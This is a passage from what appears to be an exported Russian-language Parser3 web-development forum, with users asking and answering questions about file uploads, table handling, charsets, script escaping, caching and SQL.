        for (var key in params){\
            queryString += '&' + key + '=' + encodeURIComponent(params[key]);\
        }\
\
        xhr.open(\"POST\", this._options.action + queryString, true);\
        xhr.send(file);  [/code]\
\
Я так понимаю, что в данном случае в qqfile отправляется только имя файла а файл шлется как то другим полем? Или это я не то смотрю?"
"74315","именно там проверяется limit и заполняется request_info.post_data"
"74316","но в данном фрагменте кода нет информации о том, в каком именно поле отправляется само содержимое файла.\
\
я бы всё таки глянул каким-нить firebug-ом (ну... аналогом, т.к. его у меня нету) или глянут в доке, вместо ковыряния js."
"74318","Запрос не пустой.\
\
Там типа этого:"
"74319","[code]&#255;&#216;&#255;&#225;&#65533;Exif&#65533;&#65533;II*&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#255;&#236;&#65533;Ducky&#65533;&#65533;&#65533;&#65533;&#65533;d&#65533;&#65533;&#255;&#225;mhttp://ns.adobe.com/xap/1.0/&#65533;<?xpacket begin=\"&#239;»&#191;\" id=\"W5M0MpCehiHzreSzNTczkc9d\"?> <x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 \"> <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"> <rdf:Description rdf:about=\"\" xmlns:xmpMM=\"http://ns.adobe.com/xap/1.0/mm/\" xmlns:stRef=\"http://ns.adobe.com/xap/1.0/sType/ResourceRef#\"[/code]\
и так далее\
\
Content-Length	1350293\
Content-Type	image/jpeg"
"74320","и вы похоже, приводите только тело запроса, а не его целиком.\
\
P.S. в HEAD/текущей бэте есть $request:post-body"
"74321","Опять же, если я правильно понимаю что нужно сделать и как, вот:\
\
Создал файл test.txt где записано \"test XHR\". Отправляю файл.\
\
В $request:body получается \"test XHR\". \
\
Через firebug то же самое: \
Post\
Исходный код\
test XHR\
\
Поправьте меня, пожалуйста, если что-то не то делаю."
"74322","загрузите расширение в фаербаге.\
Откройте его на странице с загрузчиков, выберите вкладку сеть и там включить.\
После этого страничка скорее всего пере загрузится и начнет появляться список со всеми запросами браузера. Внимательно изучите запросы после нажатии кнопки отправить в скрипте, там будет полный запрос с гет и пост данными."
"74323","Через $request:post-body удается сохранять. Спасибо за подсказку.\
Но при попытке определить расширение файла [code]$file_ex[^file:justext[${request:post-body.name}]][/code]\
оно определяется как \"dat\". Если файл переименовать с изначальным расширением, он открывается вроде нормально. Как быть в такой ситуации? Брать информацию о расширении файла из поля \"qqfile\" и сохранять файл с ним?"
"74324","информация об имени файла в общем случае не содержится в теле файла.\
а в теле запроса содержится тело файла. $request:post-file создаётся из тела файла и в качестве имени файла используется заглушка с расширением dat.\
\
для того, чтобы узнать имя файла -- его надо передать, и именно для этого, похоже, в query и присутствует qqfile."
"74326","Если речь идет о графических файлах, то в пакете Image Magick есть утилита identify. Эти способы несколько надежнее простой передачи имени файла из браузера."
"74329","Фигня с ним какая- то с ник.ру: установил, сделал базовые уроки из мануала, так вот - сначала только новости добавлялись, а файл с отображением \"лежал\". Пришёл через некоторое время (ничего не трогал, просто отошёл) - новости отображаються, но из админской части не вносяться (вношу с phpmyadmin). Толи загадка кибернетики, то ли я в конец тупой"
"74332","Если есть возможность, пожалуйста, поделитесь исходниками. Ранее ссылка с описанием работала, а вот сейчас к сожалению нет"
"74333","Извиняю, достал по прямой ссылке.\
http://www.spearance.ru/parser3/wysiwyg/source/wysiwyg.zip"
"74334","Начиная от \"классических\" [url=http://tinymce.moxiecode.com/]TinyMCE[/url] и [url=http://ckeditor.com/]CK Editor[/url] и заканчивая [url=http://www.artlebedev.ru/tools/reformator/]Реформатором[/url].\
\
p.s. http://yandex.ru/yandsearch?text=javascript+wysiwyg+editor&clid=46511&lr=213"
"74335","я бы не стал пользоваться этой древней поделкой, не смотря на то что она работает..."
"74336","Есть таблица с одной колонкой 'piece', в которой находится преформатированный текст (пробелы, табуляции, пустые строки).\
Далее этот текст помещается в другую таблицу уже не в виде набора строк, а в виде простого текста (с сохранением форматирования).\
Сейчас это делает такая функция:\
[code]\
##\
# Convert table of lines after splitting into regular text\
# Params:\
#         lines_table - table of lines (with field named \"piece\")\
##\
@table_to_plaintext[lines_table]\
^lines_table.menu{\
        ^if(^lines_table.offset[]==0){\
                $result[$lines_table.piece]\
        }{\
                $result[${result}^#0A${lines_table.piece}]\
        }                       \
} \
[/code]\
и все вроде бы хорошо, пока нам не встретится пустая строка. В результирующем тексте ее не будет: блоки, разделенные пустой строкой, «слипнутся».\
Пробовал решить «в лоб»:\
[code]\
##\
# Convert table of lines after splitting into regular text\
# Params:\
#         lines_table - table of lines (with field named \"piece\")\
##\
@table_to_plaintext[lines_table]\
^lines_table.menu{\
        ^if(^lines_table.offset[]==0){\
                $result[$lines_table.piece]\
        }{\
                ^if(^lines_table.piece.length[]==0){\
                        $result[${result}^#0A^#0A${lines_table.piece}]\
                }{      \
                        $result[${result}^#0A${lines_table.piece}]\
                }       \
        }                       \
} \
[/code]\
\
но безрезультатно.\
Что можно попытаться сделать, чтобы сохранить пустые строки?\
\
Ну и пара сопутствующих мелких вопросов:\
1. стоит ли беспокоиться, что в тексте могут оказаться табуляции? Не будет ли это конфликтовать с внутренним представлением таблиц?\
2. Таблицы и хеши — единственные способы хранения наборов данных? Судя по документации — да, но иногда это очень мешает, внося дополнительный уровень абстракции там, где нужно напрямую интенсивно работать с данными. Хочется хотя бы простых массивов :)"
"74337","для начала, метод @table_to_plaintext можно немного упростить:\
[code]\
@table_to_plaintext[lines_table]\
$result[^lines_table.menu{$lines_table.piece}[^#0A]]\
[/code]\
\
по поводу пустых строк: увы, при создании таблицы из текста, парсер выкидывает пустые строки и в результирующей таблицы не оказывается строк, не содержащих ничего.\
\
т.е. в вашем случае надо вводить какой-нить спец-код (<br />?), который вставлять на место пустых строк с момощью регулярного выражения, а при выводе -- заменять на то, что вам требуется (или не заменять, а выводить как есть, как например в случае с <br />)\
\
[quote]\
1. стоит ли беспокоиться, что в тексте могут оказаться табуляции? Не будет ли это конфликтовать с внутренним представлением таблиц?\
[/quote]\
если это пользовательские (\"грязные\") данные и вы не применяете к ним taint, то встречающиеся внутри символы табуляции и перевода строки не создадут проблем (но вы не показали как вы создаёте таблицу на основании ваших данных, поэтому утверждать что-то наверняка -- нельзя)\
\
[quote]\
2. Таблицы и хеши — единственные способы хранения наборов данных? ... Хочется хотя бы простых массивов :)\
[/quote]\
ну... все классы хранят какие-либо данные. но похоже, что для ваших целей подходят именно эти.\
ну или массивы, которые очень несложно реализовать самостоятельно на базе хэша :)"
"74338","Спасибо, а то было ощущение, что бьюсь головой о стену — никак не мог понять, что же не так с пустыми строками.\
Таблица создается таким образом (к сожалению, в коде пока каша): \
[code]\
@textprocess[source]\
$parts[^source.split[^#0A^#0A]]\
^if($parts){\
        $bom[^table::create{text        type}]\
        ^parts.menu{\
                $lines[^parts.piece.split[^#0A]]\
…\
[/code]\
source — это пользовательский ввод (приходит пост-запросом), в функцию параметром передается таблица lines.\
\
Причем я сейчас вывел размер таблицы lines, которая содержит строки перед передачей в функцию, и судя по размерности, пустые строки в ней все-таки хранятся, а теряются уже на этапе склейки в окончательный текст."
"74339","Проблема была в неоптимальном регулярном выражении, которое приводило к перерасходу памяти.\
\
Следовало писать что-то вроде такого\
$s_text[^s_text.match[^^([^l]++|(?!lalala))+(lalala)][ig]{$match.2}]\
\
Благодаря Misha v.3 удалось найти ошибку. Этот случай (видимо, классический) описан в документации PCRE - http://pcre.org/pcre.txt (раздел Reducing pcre_exec()'s stack usage)"
"74340","сделайте ^таблица.save[...] и посмотрите, есть там переводы строки или нет.\
\
кстати вместо \"^lines_table.piece.length[]==0\" правильнее было использовать \"def $lines_table.piece\"."
"74341","\"приводило к перерасходу памяти\"\
следует читать как:\
\"приводило к переполнению стека\" :)"
"74344","если нажать в поисковой форме сразу на крестик, то фокус переводиться на инпут и больше ничего клацнуть нельзя, только после ввода какого либо текста можно сменить фокус и что-то делать на самом сайте.\
И почему-то только в хроме у меня показывается такой поиск, в фф, опере и ие, просто инпут без крестика и лупы.\
Хром 9\
\
PS написать решил тут +), на сайте общий ящик."
"74345","[quote]И почему-то только в хроме у меня показывается такой поиск, в фф, опере и ие, просто инпут без крестика и лупы.[/quote]\
Потому что используется type=search, а его поддерживает только Webkit.\
\
Никакой особой ошибки не наблюдаю, фокус спокойно меняется через Tab.\
Chrome 10.0.648.6 dev / Safari 5.0.3"
"74346","Уважаемые гуру и монстры парсера! Мне необходимо реализовать не совсем стандартную задачу, а именно каким-то образом прописать взаимоотношения пользователей на сайте по отношению друг к другу. Пользователей будет достаточно много, групп этих пользователей будет тоже более чем достаточно и взаимоотношения между пользователями как внутри группы так и между группами будут самые разнообразные. Начиная от классической схемы с вертикальным подчинением многих пользователей администратору до какой-нибудь экзотической схемы... Более того пользователи будут входить не в одну группу и это тоже надо учесть... Понимаю что это не вопрос парсера, но тем не менее, если кто имел опыт решения подобных задач буду благодарен за любые советы...\
Заранее спасибо всем ответившим."
"74347","Сохранил таблицу, которая передается в функцию table_to_plaintext:\
\
[code]\
piece\
line 1 (next line empty)\
\
line 2 (previous line empty)\
[/code]\
\
И после склейки ($result[^lines_table.menu{$lines_table.piece}[^#0A]])\
[code]\
text    type\
line 1 (next line empty)\
line 2 (previous line empty)    2\
[/code]\
\
2 во второй колонке - это служебная информация, которая добавляется в результате анализа текста.\
\
Забыл указать сразу (наверное, это важно), что изначально в таблице, которая передается в функцию для преобразования в простой текст, находится текст с отступами, сделанными с помощью пробелов. После их удаления и получаются пустые строки:\
\
[code]\
@unindent_block[lines_table]\
$result[^table::create{piece}]\
^lines_table.menu{\
        ^result.append[^unindent[$lines_table.piece;4]]\
}\
[/code]\
\
А могу ли я как-нибудь явно экранировать табуляции в тексте, чтобы избежать проблем с внутренним представлением таблиц (они все-таки есть)?"
"74348","[quote]\
И после склейки\
[/quote]\
\
ничего удивительного. вы-же не удосужились перечитать доку про menu.\
\
[quote]\
А могу ли я как-нибудь явно экранировать табуляции в тексте, чтобы избежать проблем с внутренним представлением таблиц (они все-таки есть)?\
[/quote]\
\
возможно. вы приводите недостаточно информации (кода), чтобы сказать наверняка."
"74349","... а потом обходить этот граф и делать некоторые выводы. Видимо вам пора начать изучение [url=http://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D0%B3%D1%80%D0%B0%D1%84%D0%BE%D0%B2]теории графов[/url]. Надо сказать, что задача может быть достаточно ресурсоемкой, особенно, если вы планируете сделать очень универсальный алгоритм."
"74350","собственно сабж\
\
Права на папку кеша есть на запись."
"74352","что еще можно посмотреть?"
"74355","Доброго времени суток!\
Класс для борьбы со спамом в формы:\
[code]^rem{ *** список разрешенных referer для отображения формы и при submt-е *** }	\
	$.hReferer[\
#		$.bRefuseEmpty(1)\
\
		$.print[^table::create{sHref^#0Ahttp://$env:SERVER_NAME/}]\
		$.exec[^table::create{sHref^#0Ahttp://$env:SERVER_NAME/}]\
	][/code]\
\
Тут понятно, что можно прописать URL при переходе с которых будет показываться форма...\
В моём случае это каталог с корзиной, страницы генерируються, и после того как посетитель определиля с закзом, жмёт кнопку оформить и переходит к формам. Корзина показываеться в шаблоне на всех страницых, значит и перейти он может с любой страницы каталога (хоть с контактов), все URL не пропишеш...\
Как отключить referer, как прописать [code]http://мой сай/а далее как угодно[/code]?"
"74356","1. отключите проверку referer при выводе формы ( задайте $.print-у пустой значение )\
\
2. создайте класс-потомок и перекройте метод checkReferer, чтобы он проверял значение например с помощью регулярного выражения"
"74357","В сабже: 243"
"74358",":)\
мне кажется, что имелся в виду код на парсере :)"
"74359","Это левая часть фрейма\
\
@main[]\
$text[^getLanguageText[/admin/engine/process]]\
\
^left_html{\
	^openRightFrame[process_right.html?id=0&rnd=^math:random(100000);$text.actions.insert.label;$text.actions.insert.title]<br />\
	<div class=\"separator\"></div>\
	$process_type[^MAIN:pSQL.sql[table]{\
		SELECT\
			data_process_type_id,\
			name\
		FROM\
			data_process_type\
		ORDER BY \
			sort_order\
	}]\
	^process_type.menu{\
		<p><b>$process_type.name:</b><br />\
		$process[^MAIN:pSQL.sql[table]{\
			SELECT\
				data_process.data_process_id,\
				data_process.name,\
				data_process.sort_order,\
				COUNT(^if($process_type.data_process_type_id == 1){object}{block}.data_process_id) AS cnt\
			FROM\
				data_process\
				^if($process_type.data_process_type_id == 1){\
					^MAIN:pSQL.left_join[from;object;data_process.data_process_id = object.data_process_id]\
				}{\
					^MAIN:pSQL.left_join[from;block;data_process.data_process_id = block.data_process_id]\
				}\
			WHERE\
				^if($process_type.data_process_type_id == 1){\
					^MAIN:pSQL.left_join[where;object;data_process.data_process_id = object.data_process_id]\
				}{\
					^MAIN:pSQL.left_join[where;block;data_process.data_process_id = block.data_process_id]\
				}\
				^if($process_type.data_process_type_id == 1){\
					( data_process.data_process_type_id = 1 OR data_process.data_process_type_id = '' ) AND\
				}{\
					data_process.data_process_type_id = $process_type.data_process_type_id AND\
				}\
				data_process.data_process_id != 0\
			GROUP BY\
				data_process.data_process_id, data_process.name, data_process.sort_order\
			ORDER BY\
				data_process.sort_order\
		}]\
		^if(^process.count[] > 1){\
			^openRightFrame[asort.html?type=data_process&where=^taint[uri][data_process_type_id%3D$process_type.data_process_type_id]&rnd=^math:random(100000);$text.actions.sort.label]\
		}{\
			$text.actions.sort.label<br />\
		}\
		^if($process){\
			<ul class=\"filelist\">\
			^process.menu{\
				<li>^openRightFrame[./process_right.html?id=$process.data_process_id;$process.name]^if($process.cnt){ [^openRightFrame[./process_right.html?id=$process.data_process_id&data_process_type_id=$process_type.data_process_type_id;$process.cnt;$text.actions.find-use.title]]}</li>\
			}\
			</ul>\
		}{\
			$text.descriptions.not-found\
		}\
		</p>\
	}\
}"
"74361","но вы можете попробовать поискать в этом форуме \"243\" и, проанализировав найденное, попробовать понять суть ошибки и способы её устранения.\
\
P.S. ошибка возникает совсем не в том куске кода, который вы бездумно привели."
"74362","Вывод ошибки идет в тех двух файлах, в них я не могу понять, куда смотреть дальше, потому их и привел.\
\
А вообще не понятно, почему есть номер ошибки, но нигде нет ее описания.\
\
Поиск ничего толкового относящегося к делу не дал.\
\
Заранее благодарен."
"74363","Возможно можно как-то кеширование вообще отключить, потому как в процессе наполнения от него только сплошные неудобства."
"74365","Решилось очень просто:\
\
exec/rmcache.sh - установкой нужных прав этому файлу.\
\
Спасибо за помощь."
"74369","Всем привет\
\
Есть html страничка, которую генерит Парсер. Тег вида: <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"> в генерируемой страничке присутствует. Все файлики в кодирокве UTF-8. Но почему-то браузер не определяет кодировку документа автоматически. Приходится руками говорить ему что это UTF-8. Если выключить Парсер на веб-сервере, то все работает Ок. Все это крутится на локальном компе, веб-сервер - Апач.\
\
Подскажите как исправить эту ситуацию?"
"74371","в основном auto.p (что лежит рядом с parser3.cgi)\
в блоке [b]@auto[][/b] (он в самом низу) стоит:\
[code]$request:charset[windows-1251]\
$response:charset[windows-1251][/code]\
поменяйте на:\
[code]$request:charset[utf-8]\
$response:charset[utf-8][/code]"
"74372","Вот:\
\
http://localhost:8888/motohelmets-v3/dual-purpose/arai-tour-cross-2/\
\
GET /motohelmets-v3/dual-purpose/arai-tour-cross-2/ HTTP/1.1\
Host: localhost:8888\
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\
Accept-Encoding: gzip,deflate\
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive: 115\
Connection: keep-alive\
Pragma: no-cache\
Cache-Control: no-cache\
\
HTTP/1.1 200 OK\
Date: Wed, 09 Feb 2011 15:55:18 GMT\
Server: Apache\
Content-Length: 6993\
Keep-Alive: timeout=15, max=100\
Connection: Keep-Alive\
Content-Type: text/html; charset=WINDOWS-1251\
\
P.S. Если честно, то я не знал как посмотреть http заголовок страницы, но немного погуглив нашел плагин для фаерфокса - Live HTTP Headers, это вообще правильный путь, или их можно как-то по другому смотреть?"
"74373","Определен хэш:\
[code]\
$Weekday[\
	$.Eng[\
		$.0[Sunday]\
		$.1[Monday]\
		$.2[Tuesday]\
		$.3[Wednesday]\
		$.4[Tuesday]\
		$.5[Friday]\
		$.6[Saturday]\
		$.7[Sunday]\
	]\
	$.Rus[\
		$.0[Воскресенье]\
		$.1[Понедельник]\
		$.2[Вторник]\
		$.3[Среда]\
		$.4[Четверг]\
		$.5[Пятница]\
		$.6[Суббота]\
		$.7[Воскресенье]\
	]\
	$.Ukr[\
		$.0[Недiля]\
		$.1[Понедiлок]\
		$.2[Вiвторок]\
		$.3[Середа]\
		$.4[Четвер]\
		$.5[П'ятниця]\
		$.6[Субота]\
		$.7[Недiля]\
	]\
]\
[/code]\
\
В соответствии с текущим днем получаю текстовое значение соответствующего ключа.\
[code]\
<p>Happy $Weekday.Eng.[$oNow.weekday].</p>\
[/code]\
\
В конце конструкции (предложения) необходимо поставить точку, но на эту конечную точку ругается Парсер. Сейчас вместо точки подставил числовой код:\
\
[code]\
<p>Happy $Weekday.Eng.[$oNow.weekday]&#0046^;</p>\
[/code]\
\
Как избежать использования числового кода для знака и использовать нормальную точку?"
"74374","Да после этих изменений все заработало, спасибо.\
\
P.S. Я почему-то думал что Парсер по умолчанию целиком настроен на UTF-8 :)"
"74375","http://www.parser.ru/faq/lang/"
"74377","[quote]Я почему-то думал что Парсер по умолчанию целиком настроен на UTF-8[/quote]\
Он «настроен», но вы сами его переключили на работу с windows 1251.\
\
Если сейчас эти строки убрать вообще — ничего не изменится, UTF-8 — кодировка по умолчанию."
"74378","Доброе время суток,\
 подскажите, пожалуйста, возможно ли задать в основном auto.p подключение CSS и JS файлов с тем, чтобы их воздействие распространялось и на другие папки. \
\
Сейчас у меня в основном auto.p подключен файл style.css через обычный линк <link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" > в разделе <header></header> и хорошо работает, но в папках уровнем глубже уже не работает.\
\
 Возможно, вопрос глупый, но программирование даётся с большим трудом."
"74379","auto.p:\
[code]@main[]\
<html>\
	<head>\
		^globalCSS[]\
		^CSS[]\
	</head>\
	<body>\
		^content[]\
		^globalJS[]\
		^JS[]\
	</body>\
</html>\
\
@globalCSS[]\
<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\">\
\
@globalJS[]\
<script type=\"text/javascript\" src=\"…\"></script>\
\
@CSS[]\
\
@JS[]\
[/code]\
\
/index.html:\
[code]\
@content[]\
index\
[/code]\
\
/inner-page/index.html:\
[code]@content[]\
inner page[/code]\
\
Останется перекрывать метод content на нужных страницах (там тоже могут быть разнообразные блоки-методы).\
При необходимости задать дополнительные стили и скрипты — на нужной странице определяется @CSS и @JS соответственно."
"74380","Спасибо, G_Z, очень помог Ваш ответ."
"74381","Нет я его сам не настраивал на windows-1251, я вообще в этот файл не лазил. Сейчас посмотрел для верности в своем дистрибутиве, там тоже windows-1251, зкачал с сайта, еще один для ФриБСД, и там тоже самое."
"74382","Видимо осталось с давних времён, когда win-1251 была актуальна для серверов России."
"74383","[code]<head>\
	^globalCSS[]\
	^if($CSS is junction){^CSS[]}\
</head>[/code]"
"74384","Это нужно делать, если требуется что-либо выдать.\
По умолчанию они ничего не возвращают и, разумеется, могут не присутствовать в коде каждой страницы, т.к. определены в auto.p.\
Проверки лишние."
"74387","Вдруг кому-то пригодится. :)\
\
Сегодня натолкнулся на ошибку про которую уже пару раз спрашивали на форуме - \"shared lock failed: Operation not supported (45)\". Ситуация такая: Парсером отдаю пользователям файл, который находится в папке, смонитрованной с другого сервера по NFS в режиме ro. Для NFS под FreeBSD решение оказалось достаточно простым - достаточно при монтировании в /etc/fstab указать параметр nolockd, т.е. отключаем обращение к демону синхронизации и включаем режим локальных локов. Для сложных случаев можно поднять пару демонов на машинах - http://www.freebsd.org/doc/handbook/network-nfs.html#AEN35002"
"74388","Очень нравится! Спасибо :-)"
"74389","Если интересно, могу выложить обновление: сделал автокомплит.\
Он довольно своеобразный, но с ним намного лучше, чем без."
"74390","Конечно интересно! И автокомплит затестим :-)"
"74391","Обновление для удобной работы с парсером в Coda содержит:\
Подсветка синтаксиса\
Автокомплит (98%)\
Подсказки в Hints баре\
\
Скачать: [url=\"http://ivansergeev.com/tools/parser3_coda_syntaxmode_2.zip\"]архив[/url] (45кб)\
\
Если не устраивает форматирование кода при автокомплите, это можно подправить в CodaCompletion.plist\
\
Руки не дошли до: поддержки html и js форматирования. Если кто сподвигнеться — поделитесь трудами плз. В принципе оно все реализовано в Coda, но соединить все это вместе... надо хорошенько покапаться."
"74393","В обновлении заработал Un/Comment Selection \
&#x2318;/ (Command+/)\
\
Жмешь на выделенный кусок кода — он его комментит в ^rem{} Жмешь уже закомментированный кусок — удаляется.\
ЭВМ однако!"
"74394","Точно :-) Кстати, заметил, что в ранней версии ^rem{} был серым, а тут — нет. Идеологически сменили?"
"74402","корневой auto.p\
[code]\
@header[title;css;js]\
\
	...\
	<link rel=\"stylesheet\" type=\"text/css\" href=\"/css/global.css\">\
	^if(def $css){\
		^css.foreach[k;v]{\
			<link rel=\"stylesheet\" type=\"text/css\" href=\"/css/$v\">\
		}\
	}\
	\
	<script type=\"text/javascript\" src=\"/js/global.js\"></script>\
	^if(def $css){\
		^js.foreach[k;v]{\
			<script type=\"text/javascript\" src=\"/js/$v\"></script>\
		}\
	}\
\
@body[]\
\
@footer[]\
[/code]\
\
и, если нужны доп. стили и js, добавляю либо в @auto[] папки со страничкой или в саму страничку хэши:\
\
[code]\
$css[\
	$.0[additional.css]\
]\
$js[\
	$.0[additional.js]\
]\
\
@header[foo;$css;$js]\
[/code]"
"74404","Подскажите, пожалуйста, каким образом прописывать правильно код такого плана (Это скрипт для гармошки \"jquery\"):\
\
<script type=\"text/javascript\"> \
 $jquery(document).ready(function(){\
	\
	$jquery(\".lmenu  h5\").addClass(\"active\");\
	$jquery(\".lmenu  ul\").hide();\
 \
	$jquery(\".lmenu  h5\").click(function(){\
		$jquery(this).next(\"ul\").slideToggle(\"fast\")\
		.siblings(\"ul:visible\").slideUp(\"fast\");\
		$jquery(this).toggleClass(\"active\");\
		$jquery(this).siblings(\"h5\").removeClass(\"active\");\
	});\
 \
 });\
 </script> \
\
\
Если я просто пишу его в auto.p, то появляется ошибка:\
\
document\
invalid number (double)\
X:/home/rinfoparser.ru/www/auto.p(93:3)"
"74405","Экранировать ^$"
"74406","В форуме искал - не нашел:(\
POST запрос \
^$.post('_server.p',{ type : 'savefile', data : data} );\
\
$form:fields  - пусто :(\
$request:body - type=savefile&amp;data=aaaaaaaaaaaaaa  \
\
при ^$.get.... -  все работает\
\
эксперименты с $LIMITS[$.post_max_size(10*0x400*0x400)]	ни к чему не привели\
\
Подскажите, пожалуйста!!!"
"74407","Наверняка всякие FireBUG'и это умеют."
"74408","Отправляет. FireBUG > Post >\
\
Параметры\
-------------------------\
data	aaaaaa\
type	savefile\
--------------------------\
Исходный код\
type=savefile&data=aaaaaa"
"74410","http://22i.info\
\
index.html:\
<body>\
<script type=\"text/javascript\">\
^$.post('_server.paj',{ type : 'savefile', data : 'aaaaa' }, function(data) {^$('#zzz').html(data);} );\
</script>\
<div id=\"zzz\"></div>\
</body>\
\
_server.paj:\
request [ $request:body ]<br>\
-------------------------<br>\
form:fields\
^form:fields.foreach[field;value]{ \
   $field - $value \
}[<br>]"
"74411","Без этого говорить о чем-либо затруднительно. А вы пока показываете какие-то куски кода и результатов работы Парсера, а нужно совсем иное. :)"
"74412","а $request:body не показывает что приходит от браузера на сервер?"
"74413","Надо видеть запрос до обработки Парсером."
"74414","Как это показать?"
"74415","Добавил ^ перед $ и код, видимо, стал просто игнорироваться. \
\
Ошибок нет, но и меню не работает. Т.е. гармошка как была в разложенном виде так и остаётся.\
\
Можете описать, как правильно и где размещать этот кусок кода?\
\
Раскладка гармошки задаётся отдельным классом в .p файле. \
И выводится через ^use  в auto.p"
"74416","[quote]Подскажите, пожалуйста, каким образом прописывать правильно код такого плана[/quote]\
Вот так:\
[code]<script type=\"text/javascript\" src=\"…\"></script>[/code]"
"74417","Есть и более сложные способы, но лучше разобраться с доступным инструментом."
"74418","Не пойму, G_Z, что Вы имеете ввиду. Мой код, который не работает, как мне кажется, и так обрамлён с помощью <script lalala></script>.\
\
Я также попробовал вынести его в отдельный .js файл, что никогда у  меня не работало с такими кусками кода и пробовал в .index помещать."
"74419","...при котором не надо понимать. Просто сделайте это, иначе придётся разбираться с экранированием.\
\
Вообще говоря, помимо ^$ часто необходимо сделать и ^;\
\
И советую срочно разобраться, почему \"что никогда у меня не работало с такими кусками кода\", ибо выносить скрипты в отдельные файлы - совершенно обычная практика."
"74420","Увидел у вас слово \"file\" и на всякий случай напоминаю, что для передачи файлов нужно, чтобы enctype=\"multipart/form-data\""
"74421","Столкнулся с той же проблемой при подключении:\
\
$sConnectString must be specified.\
Z:/home/database/www/classes/Sql.p(30:10) \
throw	Z:/home/database/www/classes/Sql.p(30:10)\
if	Z:/home/database/www/classes/Sql.p(29:2)\
create	Z:/home/database/www/classes/MySql.p(30:7)\
create	Z:/home/database/www/classes/MySqlComp.p(19:7)\
create	Z:/home/database/www/auth/auto.p(10:19)\
\
Не понимаю, что нужно сделать. Стоит Денвер в связке с парсером."
"74422","Я имею ввиду, что не нужно без необходимости использовать inline-скрипты.\
Вынесете в отдельный файл, иначе придётся многое экранировать."
"74423","в посте  [13.02 21:54]\
я именно оттуда и с копировал информацию:\
Отправляет. FireBUG > Post >\
\
Параметры\
-------------------------\
data	aaaaaa\
type	savefile\
--------------------------\
Исходный код\
type=savefile&data=aaaaaa"
"74424","это название процедуры"
"74425","Как его подключить? Внутри файлов никаких пояснений."
"74426","Добрый вечер) Есть у меня оператор @sqlcache[query].\
Понятно, что если ошибка типа sql.execute в $query, то источником ошибки является не этот оператор, а тот, в котором создавался запрос к БД. \
Если отлавливать ее внутри @sqlcache и сбрасывать через ^throw, то источник все равно будет внутри этого оператора.\
Обрабатывать ошибку в вызывающих операторах - лишние телодвижения.\
Остается только сделать так, чтобы вместо реальной ошибки внутри @sqlcache, ее источником считался вызов этого оператора.\
Как это сделать изнутри @sqlcache, не затрагивая его вызовы?"
"74428","... что вот эта фраза корректна:\
\
[quote]Если отлавливать ее внутри @sqlcache и сбрасывать через ^throw, то источник все равно будет внутри этого оператора.[/quote]\
\
Хотелось бы посмотреть код, который это реализует. Поймать и сделать $exception.handled(true), а потом сделать новый throw. При этом handled устанавливать скорее всего и не нужно - это просто для большей уверенности."
"74429","[code]@main[]\
$myTable[^sqlcache[SELECT * FROM WHERE]]\
\
@sqlcache[query]\
^connect[$MAIN:scs]{\
	^try{\
		$result[^table::sql{$query}]\
	}{\
		^throw[sql.execute;$query]\
	}\
}[/code]\
таки ошибка в 9 строке получается, а надо чтобы до третьей, т.е. что ошибочен вызов ^sqlcache[SELECT * FROM WHERE]"
"74430","... поскольку исключение с ошибкой может возникнуть только на $result[^table::sql{$query}].\
\
Может лучше задачу расскажете? А главное поясните зачем изобретать велосипед при наличии Мишиных или моих sql-классов, которые поддерживают кеширование из коробки."
"74431","Задача заключается в том, чтобы некоторы запросы отдавать не из БД, а с диска, для скорости. Идентификатором запроса служит сам запрос. \
\
Ваши с Мишей решения я просто не понимаю, и там слишком много кода для такой простой задачи. Сорри, но вот так. \
\
Итак, в приведенном мной примере ошибка находится на 3й строке, и только там. Я правильно понял, что средствами парсера эту задачу не решить?"
"74432","Если в запросе ошибка, то просто пропустите эксепшн наружу и пусть его обработает пользовательский скрипт. Если в запросе нет ошибки, то кешируем его на диск, а при повторном вызове инвалидируем кеш. Можно, конечно, ловить эксепшн и пытаться выдать результат из кеша, но с вашим примером кеш даже не будет создан.\
\
[quote]...и там слишком много кода для такой простой задачи...[/quote]\
\
Задача, поверьте, не самая простая, поэтому лучше возьмите готовые классы, которые умеют сериализовать результаты и корректно инвалидировать кеш, а мои классы еще и мемоизацию поддерживают. :-)\
\
p.s. Ошибка никак не в третьей строке, которая просто передает строку в метод, а эксепшн появится на этапе выполнения запроса, который происходит в table::sql."
"74433","Инвалидацию я вроде сделал, сериализация идет через $.encloser[^taint[^#02^#03]"
"74435","Я бы и рад разобраться, только не хватает сообразитедьности.\
\
Например, я выношу код, который в первом моём посте в отдельный .js файл и он прекрасно грузится, как говорит YSlow, равно как jquery библиотека. только ничего не работает. \
\
Я думал возможно это происходит из-за того, что у меня меню создается динамически из базы данных, но, когда поместил раскладку меню прямо на страницу, тоже ничего не сработало.\
\
Одновременно интересный глюк с CSS, \
\
У меня при наведении на <li> элемент, он окрашивается в зеленый цвет. Но этот эффект отказывается работать сейчас в парсере и только в Интернет эксплорере тогда, как в Опере и Мозилле это срабатывает без проблем."
"74436","Здраствуйте уважаемые гуру и монстры парсера. Возник вопрос где и как лучше хранить картинки? В базе в поле типа BLOB или на диске в файле а в базе хранить имя картинки? Сильно подозреваю что хранение в базе влияет на быстродействие так как тут работаем непосредственно с картинкой и расход памяти соответствующий. Работа же только с именем файла сильно снижает нагрузку на сервер. Я прав? \
Заранее спасибо за ответ."
"74438","http://i15.fastpic.ru/big/2011/0215/6d/9c0fe7417224ab0a5583be3d1884e06d.png"
"74440","Добрый день.\
Подскажите, как задать переход на новую (другую) страницу. Используется в банальной связке с if.\
Спасибо."
"74441","Понять, что вы хотите сделать совершенно невозможно. Лучше приведите код, который вы уже написали, чтобы было понятно какое место вызывает затруднение."
